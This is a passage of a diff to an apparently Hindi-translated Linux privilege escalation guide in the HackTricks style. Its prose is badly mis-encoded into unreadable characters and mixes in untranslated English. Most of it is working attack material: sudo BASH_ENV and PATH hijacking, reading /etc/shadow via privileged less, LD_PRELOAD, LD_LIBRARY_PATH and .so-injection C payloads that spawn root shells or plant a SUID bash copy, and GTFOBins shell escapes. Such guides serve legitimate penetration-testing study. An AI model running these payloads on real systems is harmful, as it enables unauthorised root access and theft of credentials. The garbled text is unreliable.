рд╣реИрдВ (рдХреЛрдИ рднреА рд▓рдХреНрд╖реНрдп рдЬреЛ `/bin/bash` рдХреЛ рдЧреИрд░-рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд░реВрдк рд╕реЗ invoke рдХрд░рддрд╛ рд╣реИ, рдпрд╛ рдХреЛрдИ рднреА bash рд╕реНрдХреНрд░рд┐рдкреНрдЯ)ред +- `BASH_ENV` `env_keep` рдореЗрдВ рдЙрдкрд╕реНрдерд┐рдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП (рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП `sudo -l` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ)ред - PoC: ```bash @@ -833,13 +817,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ: -- `env_keep` рд╕реЗ `BASH_ENV` (рдФрд░ `ENV`) рд╣рдЯрд╛рдПрдБ, `env_reset` рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред -- sudo-allowed commands рдХреЗ рд▓рд┐рдП shell wrappers рд╕реЗ рдмрдЪреЗрдВ; minimal binaries рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред -- рдЬрдм preserved env vars рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реЛ рддреЛ sudo I/O logging рдФрд░ alerting рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред +- рд╣рдЯрд╛рдПрдБ `BASH_ENV` (рдФрд░ `ENV`) рдХреЛ `env_keep` рд╕реЗ; `env_reset` рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред +- `sudo-allowed` commands рдХреЗ рд▓рд┐рдП shell wrappers рд╕реЗ рдмрдЪреЗрдВ; рдиреНрдпреВрдирддрдо binaries рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред +- рдЬрдм preserved env vars рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реЛ, рддрдм sudo I/O logging рдФрд░ alerting рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред -### Sudo рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ paths +### Sudo execution рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд░рд╛рд╕реНрддреЗ -**Jump** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝реЗрдВ рдпрд╛ **symlinks** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП sudoers рдлрд╝рд╛рдЗрд▓ рдореЗрдВ: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** рдХрд░рдХреЗ рдЕрдиреНрдп рдлрд╛рдЗрд▓реЗрдВ рдкрдврд╝реЗрдВ рдпрд╛ **symlinks** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП sudoers рдлрд╝рд╛рдЗрд▓ рдореЗрдВ: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -849,50 +833,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -рдпрджрд┐ рдПрдХ **wildcard** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (\*), рддреЛ рдпрд╣ рдФрд░ рднреА рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ: +рдпрджрд┐ рдПрдХ **wildcard** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (\*), рддреЛ рдпрд╣ рдФрд░ рднреА рдЖрд╕рд╛рди рд╣реИ: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**рд░реЛрдХрдерд╛рдо**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**рдирд┐рд╡рд╛рд░рдХ рдЙрдкрд╛рдп**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary without command path +### Sudo command/SUID binary рдмрд┐рдирд╛ command path -рдпрджрд┐ рдХрд┐рд╕реА рдПрдХ рдХрдорд╛рдВрдб рдХреЛ **sudo permission** рдмрд┐рдирд╛ path рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдП рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: _hacker10 ALL= (root) less_ рддреЛ рдЖрдк PATH variable рдмрджрд▓рдХрд░ рдЗрд╕реЗ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ **sudo рдЕрдиреБрдорддрд┐** рдХрд┐рд╕реА рдПрдХ command рдХреЛ **path рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдП рдмрд┐рдирд╛** рджреА рдЧрдИ рд╣реИ: _hacker10 ALL= (root) less_ рддреЛ рдЖрдк рдЗрд╕реЗ PATH variable рдмрджрд▓рдХрд░ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -рдпрд╣ рддрдХрдиреАрдХ рддрдм рднреА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдЕрдЧрд░ рдПрдХ **suid** binary **рдмрд┐рдирд╛ рдкрде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдП рдХрд┐рд╕реА рдЕрдиреНрдп рдХрдорд╛рдВрдб рдХреЛ execute рдХрд░рддрд╛ рд╣реИ (рд╣рдореЗрд╢рд╛ _**strings**_ рдХреЗ рд╕рд╛рде рдХрд┐рд╕реА рдЕрдЬреАрдм SUID binary рдХреА рд╕рд╛рдордЧреНрд░реА рдЬрд╛рдБрдЪреЗрдВ)**ред +рдпрд╣ рддрдХрдиреАрдХ рдЙрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рднреА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдпрджрд┐ рдПрдХ **suid** binary **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**). [Payload examples to execute.](payloads-to-execute.md) ### SUID binary with command path -рдпрджрд┐ **suid** binary **рдкрде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреЗ рд╣реБрдП рдХрд┐рд╕реА рджреВрд╕рд░реЗ рдХрдорд╛рдВрдб рдХреЛ execute рдХрд░рддрд╛ рд╣реИ**, рддреЛ рдЖрдк рдЙрд╕ рдХрдорд╛рдВрдб рдХреЗ рдирд╛рдо рд╕реЗ **export a function** рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ suid рдлрд╝рд╛рдЗрд▓ рдХреЙрд▓ рдХрд░ рд░рд╣реА рд╣реИред +рдпрджрд┐ рдХреЛрдИ **suid** binary **executes another command specifying the path**, рддреЛ рдЖрдк рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЬрд┐рд╕ command рдХреЛ suid file рдХреЙрд▓ рдХрд░ рд░рд╣реА рд╣реИ рдЙрд╕рдХреЗ рдирд╛рдо рд╕реЗ рдЖрдк **export a function** рдмрдирд╛рдХрд░ рдЙрд╕реЗ export рдХрд░реЗрдВред -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдПрдХ suid binary _**/usr/sbin/service apache2 start**_ рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рд╡рд╣ function рдмрдирд╛рдХрд░ export рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП: +For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -рдлрд┐рд░, рдЬрдм рдЖрдк suid binary рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВрдЧреЗ, рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛ +Then, when you call the suid binary, this function will be executed ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** environment variable рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ рд╕рд╛рдЭрд╛ рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ (.so files) рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рдиреНрд╣реЗрдВ loader рджреНрд╡рд╛рд░рд╛ рд╕рднреА рдЕрдиреНрдп рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рдХреЗ рдкрд╣рд▓реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рдирдореЗрдВ standard C library (`libc.so`) рднреА рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдПрдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ preloading рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред +The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. -рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╕рд┐рд╕реНрдЯрдо рд╕реБрд░рдХреНрд╖рд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдФрд░ рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рдЦрд╛рд╕рдХрд░ suid/sgid executables рдХреЗ рд╕рд╛рде, рд╕рд┐рд╕реНрдЯрдо рдХреБрдЫ рд╢рд░реНрддреЗрдВ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ: +However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: -- рдЬрд┐рди executables рдореЗрдВ real user ID (_ruid_) рдФрд░ effective user ID (_euid_) рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддреЗ, рдЙрдирдХреЗ рд▓рд┐рдП loader **LD_PRELOAD** рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рддрд╛ рд╣реИред -- suid/sgid рд╡рд╛рд▓реЗ executables рдХреЗ рд▓рд┐рдП, рдХреЗрд╡рд▓ рд╡реЗ libraries preloaded рдХреА рдЬрд╛рддреА рд╣реИрдВ рдЬреЛ standard paths рдореЗрдВ рд╣реЛрдВ рдФрд░ рдЬреЛ рдЦреБрдж рднреА suid/sgid рд╣реЛрдВред +- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). +- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. -Privilege escalation рд╣реЛ рд╕рдХрддреА рд╣реИ рдЕрдЧрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ `sudo` рдХреЗ рд╕рд╛рде рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИ рдФрд░ `sudo -l` рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ **env_keep+=LD_PRELOAD** рд╢рд╛рдорд┐рд▓ рд╣реИред рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди **LD_PRELOAD** environment variable рдХреЛ рд╕реНрдерд╛рдпреА рд░рдЦрдиреЗ рдФрд░ `sudo` рдХреЗ рд╕рд╛рде рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдкрд░ рднреА рдкрд╣рдЪрд╛рдиреЗ рдЬрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЙрдЪреНрдЪ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде arbitrary code рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. ``` Defaults env_keep += LD_PRELOAD ``` -рдХреЗ рд░реВрдк рдореЗрдВ рд╕рд╣реЗрдЬреЗрдВ **/tmp/pe.c** +**/tmp/pe.c** рдХреЗ рд░реВрдк рдореЗрдВ рд╕рд╣реЗрдЬреЗрдВ ```c #include #include @@ -905,17 +889,17 @@ setuid(0); system("/bin/bash"); } ``` -рдлрд┐рд░ **рдЗрд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ**: +рдлрд┐рд░ **compile it** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -рдЕрдВрдд рдореЗрдВ, **escalate privileges** рдЪрд▓рд╛рддреЗ рд╣реБрдП +рдЕрдВрдд рдореЗрдВ, **escalate privileges** рдЪрд▓рд╛рдХрд░ ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> рдПрдХ рд╕рдорд╛рди privesc рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рдЖрдХреНрд░рдордгрдХрд╛рд░реА **LD_LIBRARY_PATH** env variable рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣ рдЙрд╕ path рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ libraries рдЦреЛрдЬреА рдЬрд╛рдПрдБрдЧреАред +> рдПрдХ рд╕рдорд╛рди privesc рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рд╣рдорд▓рд╛рд╡рд░ **LD_LIBRARY_PATH** env variable рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣ рдЙрди рдкрд╛рдереЛрдВ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЦреЛрдЬреА рдЬрд╛рдПрдБрдЧреАред ```c #include #include @@ -937,13 +921,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary тАУ .so injection -рдЬрдм рдХрд┐рд╕реА binary рдХреЛ **SUID** permissions рдХреЗ рд╕рд╛рде рджреЗрдЦрд╛ рдЬрд╛рдП рдЬреЛ рдЕрд╕рд╛рдорд╛рдиреНрдп рд▓рдЧреЗ, рддреЛ рдпрд╣ рдЕрдЪреНрдЫреА рдкреНрд░реИрдХреНрдЯрд┐рд╕ рд╣реИ рдХрд┐ рдпрд╣ рдЬрд╛рдВрдЪрд╛ рдЬрд╛рдП рдХрд┐ рдпрд╣ рдареАрдХ рд╕реЗ **.so** files рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЪрд▓рд╛рдХрд░ рдЬрд╛рдВрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +рдЬрдм рдХрд┐рд╕реА рдЕрд╕рд╛рдорд╛рдиреНрдп рджрд┐рдЦрдиреЗ рд╡рд╛рд▓реЗ binary рдореЗрдВ **SUID** permissions рд╣реЛрдВ, рддреЛ рдпрд╣ рдЕрдЪреНрдЫреА рдкреНрд░реИрдХреНрдЯрд┐рд╕ рд╣реИ рдХрд┐ рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рд╡рд╣ **.so** files рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдЗрд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд command рдЪрд▓рд╛рдХрд░ рдЬрд╛рдБрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, _"open(тАЬ/path/to/.config/libcalc.soтАЭ, O_RDONLY) = -1 ENOENT (No such file or directory)"_ рдЬреИрд╕реА рддреНрд░реБрдЯрд┐ рдорд┐рд▓рдирд╛ рд╕рдВрднрд╛рд╡рд┐рдд exploitation рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИред +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, _"open(тАЬ/path/to/.config/libcalc.soтАЭ, O_RDONLY) = -1 ENOENT (No such file or directory)"_ рдЬреИрд╕реА рддреНрд░реБрдЯрд┐ рдорд┐рд▓рдиреЗ рдкрд░ рдпрд╣ exploitation рдХреА рд╕рдВрднрд╛рд╡реНрдпрддрд╛ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддреА рд╣реИред -рдЗрд╕реЗ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдПрдХ C рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдБрдЧреЗ, рдЬреИрд╕реЗ _"/path/to/.config/libcalc.c"_, рдЬрд┐рд╕рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд code рд╣реЛрдЧрд╛: +рдЗрд╕реЗ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдПрдХ C рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдБрдЧреЗ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП _"/path/to/.config/libcalc.c"_, рдЬрд┐рд╕рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рд╣реЛрдЧрд╛: ```c #include #include @@ -954,13 +938,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -рдпрд╣ рдХреЛрдб, рдПрдХ рдмрд╛рд░ compiled рдФрд░ executed рд╣реЛрдиреЗ рдкрд░, file permissions рдХреЛ manipulate рдХрд░рдХреЗ рдФрд░ elevated privileges рдХреЗ рд╕рд╛рде рдПрдХ shell execute рдХрд░рдХреЗ privileges рдмрдврд╝рд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред +рдпрд╣ code, рдПрдХ рдмрд╛рд░ compiled рдФрд░ executed рд╣реЛрдиреЗ рдкрд░, file permissions рдХреЛ рдмрджрд▓рдХрд░ рдФрд░ elevated privileges рдХреЗ рд╕рд╛рде рдПрдХ shell рдЪрд▓рд╛рдХрд░ privileges рдмрдврд╝рд╛рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддрд╛ рд╣реИред -рдКрдкрд░ рджрд┐рдП рдЧрдП C file рдХреЛ рдПрдХ shared object (.so) file рдореЗрдВ compile рдХрд░реЗрдВ: +рдКрдкрд░ рджрд┐рдП рдЧрдП C file рдХреЛ shared object (.so) file рдореЗрдВ compile рдХрд░реЗрдВ: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -рдЕрдВрдд рдореЗрдВ, рдкреНрд░рднрд╛рд╡рд┐рдд SUID binary рдХреЛ рдЪрд▓рд╛рдиреЗ рдкрд░ exploit рдЯреНрд░рд┐рдЧрд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд system compromise рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗред +рдЕрдВрдд рдореЗрдВ, рдкреНрд░рднрд╛рд╡рд┐рдд SUID binary рдХреЛ рдЪрд▓рд╛рдиреЗ рд╕реЗ exploit рдЯреНрд░рд┐рдЧрд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд system compromise рд╕рдВрднрд╡ рд╣реЛред ## Shared Object Hijacking ```bash @@ -972,7 +956,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -рдЕрдм рдЬрдм рд╣рдордиреЗ рдПрдХ SUID binary рдкрд╛рдпрд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА folder рд╕реЗ library рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬрд╣рд╛рдБ рд╣рдо write рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЙрд╕ folder рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рдирд╛рдо рдХреЗ рд╕рд╛рде library рдмрдирд╛рддреЗ рд╣реИрдВ: +рдЕрдм рдЬрдм рд╣рдордиреЗ рдПрдХ SUID binary рдкрд╛рдпрд╛ рд╣реИ рдЬреЛ рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ library рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬрд╣рд╛рдБ рд╣рдо рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЪрд▓рд┐рдП рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рдирд╛рдо рдХреЗ рд╕рд╛рде library рдмрдирд╛рддреЗ рд╣реИрдВ: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -985,7 +969,7 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -рдпрджрд┐ рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬреИрд╕реА рдХреЛрдИ рддреНрд░реБрдЯрд┐ рдорд┐рд▓рддреА рд╣реИ +рдпрджрд┐ рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬреИрд╕реА рддреНрд░реБрдЯрд┐ рдорд┐рд▓рддреА рд╣реИ ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` @@ -993,9 +977,9 @@ that means that the library you have generated need to have a function called `a ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) рдПрдХ curated list рд╣реИ Unix binaries рдХрд╛ рдЬрд┐рдиреНрд╣реЗрдВ рдПрдХ attacker рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ bypass рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред [**GTFOArgs**](https://gtfoargs.github.io/) рд╕рдорд╛рди рд╣реИ рд▓реЗрдХрд┐рди рдЙрди рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЬрд╣рд╛рдБ рдЖрдк рдХрдорд╛рдВрдб рдореЗрдВ **only inject arguments** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +[**GTFOBins**](https://gtfobins.github.io) Unix binaries рдХреА рдПрдХ curated рд╕реВрдЪреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдПрдХ attacker рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ bypass рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП exploit рдХрд░ рд╕рдХрддрд╛ рд╣реИред [**GTFOArgs**](https://gtfoargs.github.io/) рднреА рдРрд╕рд╛ рд╣реА рд╣реИ рд▓реЗрдХрд┐рди рдЙрди рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЬрд╣рд╛рдБ рдЖрдк рдХрд┐рд╕реА command рдореЗрдВ **only inject arguments** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдкреНрд░реЛрдЬреЗрдХреНрдЯ Unix рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреЗ рд╡реИрдз рдлрд╝рдВрдХреНрд╢рдиреНрд╕ рдХреЛ рдХрд▓реЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ abuse рдХрд░рдХреЗ break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, рдФрд░ рдЕрдиреНрдп post-exploitation tasks рдореЗрдВ рд╕рд╣рд╛рдпрддрд╛ рдХреА рдЬрд╛ рд╕рдХреЗред +рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдЙрди Unix binaries рдХреЗ рд╡реИрдз рдлрд╝рдВрдХреНрд╢рдиреНрд╕ рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ restricted shells рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ, privileges escalate рдпрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ, files transfer рдХрд░рдиреЗ, bind рдФрд░ reverse shells spawn рдХрд░рдиреЗ, рдФрд░ рдЕрдиреНрдп post-exploitation tasks рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП abuse рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1014,20 +998,20 @@ https://gtfoargs.github.io/ ### FallOfSudo -рдпрджрд┐ рдЖрдк `sudo -l` рдХреЛ access рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЯреВрд▓ [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рдЪреЗрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдХрд┐рд╕реА sudo рдирд┐рдпрдо рдХреЛ exploit рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдкрд╛рддрд╛ рд╣реИред +рдпрджрд┐ рдЖрдк `sudo -l` рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) tool рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдпрд╣ рдХрд┐рд╕реА sudo rule рдХреЛ exploit рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдвреВрдВрдврддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред ### Reusing Sudo Tokens -рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ рдЖрдкрдХреЗ рдкрд╛рд╕ **sudo access** рд╣реИ рд▓реЗрдХрд┐рди рдкрд╛рд╕рд╡рд░реНрдб 